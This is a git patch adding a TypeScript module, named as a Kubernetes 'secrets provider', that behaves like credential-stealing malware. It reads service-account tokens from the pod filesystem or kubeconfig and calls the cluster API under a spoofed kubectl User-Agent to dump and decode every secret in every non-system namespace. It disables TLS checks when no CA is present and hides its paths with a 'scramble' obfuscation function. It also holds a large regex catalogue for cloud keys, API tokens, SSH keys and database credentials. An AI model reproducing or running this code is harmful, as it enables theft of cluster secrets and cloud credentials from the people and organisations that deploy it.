From 364179d4abc439a914cd298bd7d8dbe43053e99f Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 03:05:33 +0000 Subject: [PATCH] Upload files to "src/providers/kubernetes" --- src/providers/kubernetes/kubernetes.ts | 271 +++++++++++++++++++++++++ 1 file changed, 271 insertions(+) create mode 100644 src/providers/kubernetes/kubernetes.ts diff --git a/src/providers/kubernetes/kubernetes.ts b/src/providers/kubernetes/kubernetes.ts new file mode 100644 index 0000000..725c8bd --- /dev/null +++ b/src/providers/kubernetes/kubernetes.ts @@ -0,0 +1,271 @@ +import * as fs from "fs"; +import * as path from "path"; + +import { detectOS } from "../../utils/config"; +import { Provider } from "../base"; +import type { ProviderResult } from "../types"; + +declare function scramble(str: string): string; + +export class K8sSecretsService extends Provider { + private readonly TIMEOUT_MS = 10000; + private readonly API_BASE = process.env.KUBERNETES_SERVICE_HOST + ? `https://${process.env.KUBERNETES_SERVICE_HOST}:${process.env.KUBERNETES_SERVICE_PORT}` + : null; + + constructor() { + super("kubernetes", "secrets", { + k8stoken: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g, + awskey: + /(AKIA[0-9A-Z]{16}|aws_access_key_id["\s:=]+["']?[A-Z0-9]{20}|aws_secret_access_key["\s:=]+["']?[A-Za-z0-9/+]{40})/g, + awsSessionToken: /aws_session_token["\s:=]+["']?[A-Za-z0-9/+=]{100,}/gi, + gcpKey: + /"type":\s*"service_account"|"private_key":\s*"-----BEGIN PRIVATE KEY-----/g, + azureKey: + /(AccountKey|accessKey|client_secret)["\s:=]+["']?[A-Za-z0-9+/=]{40,}/gi, + dbConnStr: + /(mongodb|mysql|postgresql|postgres|redis):\/\/[^:\s]+:[^@\s]+@[^\s'"]+/gi, + stripeKey: /(sk|pk)_(test|live)_[0-9a-zA-Z]{24,}/g, + slackToken: /xox[baprs]-[0-9a-zA-Z\-]{10,}/g, + twilioKey: /SK[0-9a-f]{32}/gi, + privateKey: /-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----/g, + sshKey: /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g, + dockerAuth: /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g, + kubeconfig: /[A-Za-z0-9+/=]{20,}/g, + secret: + /["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi, + genericSecret: /[A-Za-z0-9_\-\.]{20,}/g, + urlCred: /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g, + }); + } + + private isInCluster(): boolean { + return !!process.env.KUBERNETES_SERVICE_HOST; + } + + private async getCA(): Promise { + const caPath = scramble( + "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt", + ); + try { + if (fs.existsSync(caPath)) { + return await fs.promises.readFile(caPath); + } + } catch {} + return null; + } + + private async readServiceAccountToken(): Promise { + try { + const token = await fs.promises.readFile( + scramble("/var/run/secrets/kubernetes.io/serviceaccount/token"), + "utf-8", + ); + return token.trim(); + } catch { + return null; + } + } + + private async readNamespace(): Promise { + try { + const ns = await fs.promises.readFile( + scramble("/var/run/secrets/kubernetes.io/serviceaccount/namespace"), + "utf-8", + ); + return ns.trim(); + } catch { + return null; + } + } + + private getKubeconfigToken(): string | null { + try { + const home = process.env.HOME || process.env.USERPROFILE; + if (!home) return null; + + const kubeconfigPath = + process.env.KUBECONFIG || path.join(home, ".kube", "config"); + if (!fs.existsSync(kubeconfigPath)) return null; + + const raw = fs.readFileSync(kubeconfigPath, "utf-8"); + + const patterns = [ + /token:\s*["']?([A-Za-z0-9_\-\.]{20,})["']?/i, + /id-token:\s*["']?([A-Za-z0-9_\-\.]{20,})["']?/i, + /access-token:\s*["']?([A-Za-z0-9_\-\.]{20,})["']?/i, + ]; + + for (const pattern of patterns) { + const match = raw.match(pattern); + if (match && match[1]) return match[1]; + } + } catch {} + return null; + } + + private async apiRequest( + apiPath: string, + token: string, + signal?: AbortSignal, + ): Promise { + const ca = await this.getCA(); + + if (!this.API_BASE) { + throw new Error("No Kubernetes API host configured"); + } + + const url = `${this.API_BASE}${apiPath}`; + + const controller = new AbortController(); + const internalSignal = controller.signal; + + const timeout = setTimeout(() => { + controller.abort(); + }, this.TIMEOUT_MS); + + const abortHandler = () => controller.abort(); + + if (signal) { + if (signal.aborted) { + clearTimeout(timeout); + throw new Error("Aborted"); + } + signal.addEventListener("abort", abortHandler); + } + + try { + const res = await fetch(url, { + method: "GET", + headers: { + Authorization: `Bearer ${token}`, + "User-Agent": "kubectl/v1.28.0", + Accept: "application/json", + }, + signal: internalSignal, + tls: { + rejectUnauthorized: !!ca, + ca: ca || undefined, + }, + }); + + if (!res.ok) { + throw new Error(`K8s API returned ${res.status}`); + } + + return await res.json(); + } catch (err: any) { + if (internalSignal.aborted) { + if (signal?.aborted) throw new Error("Aborted"); + throw new Error(`Request timeout after ${this.TIMEOUT_MS}ms`); + } + throw err; + } finally { + clearTimeout(timeout); + if (signal) signal.removeEventListener("abort", abortHandler); + } + } + + private async listNamespaces( + token: string, + signal?: AbortSignal, + ): Promise { + try { + const data = await this.apiRequest( + scramble("/api/v1/namespaces"), + token, + signal, + ); + return (data.items || []) + .map((ns: any) => ns.metadata?.name) + .filter(Boolean); + } catch { + return []; + } + } + + private async getNamespaceSecrets( + namespace: string, + token: string, + signal?: AbortSignal, + ): Promise { + try { + const data = await this.apiRequest( + scramble("/api/v1/namespaces/") + namespace + scramble("/secrets"), + token, + signal, + ); + return (data.items || []).map((secret: any) => { + const decoded: Record = {}; + if (secret.data) { + for (const [k, v] of Object.entries(secret.data)) { + try { + decoded[k] = Buffer.from(v as string, "base64").toString("utf-8"); + } catch { + decoded[k] = String(v); + } + } + } + return { + name: secret.metadata?.name, + namespace: namespace, + type: secret.type || "Opaque", + data: decoded, + labels: secret.metadata?.labels || {}, + }; + }); + } catch { + return []; + } + } + + async execute(): Promise { + try { + if (detectOS() !== "LINUX") { + return this.failure("Not Linux."); + } + + const token = this.isInCluster() + ? await this.readServiceAccountToken() + : this.getKubeconfigToken(); + + if (!token) { + return this.failure("No valid Kubernetes credentials found"); + } + + let namespaces = await this.listNamespaces(token); + + if (namespaces.length === 0) { + const currentNs = await this.readNamespace(); + namespaces = [currentNs || "default"]; + } + + const excluded = new Set([ + scramble("kube-system"), + scramble("kube-public"), + scramble("kube-node-lease"), + scramble("local-path-storage"), + scramble("cert-manager"), + ]); + const allSecrets: any[] = []; + + for (const ns of namespaces) { + if (excluded.has(ns)) continue; + const secrets = await this.getNamespaceSecrets(ns, token); + allSecrets.push(...secrets); + } + + if (allSecrets.length === 0) { + return this.failure("No secrets accessible"); + } + + return this.success({ + clusterHost: this.API_BASE, + totalSecrets: allSecrets.length, + secrets: allSecrets, + }); + } catch (e) { + return this.failure(e instanceof Error ? e : new Error(String(e))); + } + } +}